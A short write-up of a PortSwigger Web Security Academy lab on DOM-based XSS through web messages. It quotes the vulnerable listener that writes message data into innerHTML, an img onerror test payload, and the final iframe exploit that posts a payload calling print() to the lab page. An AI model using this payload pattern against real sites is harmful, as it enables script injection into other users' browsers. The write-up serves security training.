| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | DOM XSS via postMessage |
| Difficulty | Practitioner |
| Objective | Send a web message to the target that calls print() |
DOM XSS Using Web Messages — Writeup¶
Reconnaissance¶
Initial Observation¶
No login form, no text input anywhere visible. The page just shows [object Object] in what turns out to be an ads div:
<div id="ads">[object Object]</div>
Inspecting the page source reveals this script:
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
The page is listening for message events and inserting whatever it receives directly into the innerHTML of the ads div — no filtering, no validation whatsoever. postMessage is a browser API that allows cross-origin communication between windows, for example between a page and an iframe embedded inside it. Here, the receiver trusts everything it gets.
Web — Confirming the Injection Point¶
Testing in the browser console — sending a plain string with postMessage:
postMessage("Teto")
The [object Object] text changes to "TETO". The message lands in the div. Trying a script tag — doesn't execute via innerHTML. Trying <img onerror>:
<img src=teto.png onerror=alert(0)>
Alert fires. JS execution via a web message confirmed.
Attack Path¶
Exploit — iframe + postMessage¶
Loading the target page in an iframe on the exploit server, then using onload to fire postMessage with the XSS payload once the iframe is ready. this.contentWindow.postMessage sends the message to the iframe's window. The "*" as target origin means the message will be accepted regardless of the receiver's origin:
<iframe src="https://0a6900e403f32bae82844cec00240009.web-security-academy.net/" onload='this.contentWindow.postMessage("<img src=teto.png onerror=print(0)>", "*")'></iframe>
Viewing the exploit first to confirm:
print() fires. Delivering to victim:
Lab solved :P